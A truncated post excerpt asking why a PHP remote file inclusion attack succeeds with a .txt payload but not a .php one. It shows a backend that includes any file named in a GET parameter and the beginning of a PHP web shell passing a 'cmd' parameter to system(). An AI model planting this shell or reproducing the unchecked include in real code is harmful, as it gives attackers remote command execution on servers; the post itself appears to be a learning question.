Why php RFI works with .txt but non with .php?
BACKEND:
<?php $file = $_GET["file"];
include $file; ?>
bad.txt bad.php CONTENT:
<?php
if(isset($_REQUEST[‘cmd’])){
echo "<pre>";
$cmd = ($_REQUEST[‘cmd’]);
system($cmd);
… Continue reading Why php RFI works with .txt but non with .php?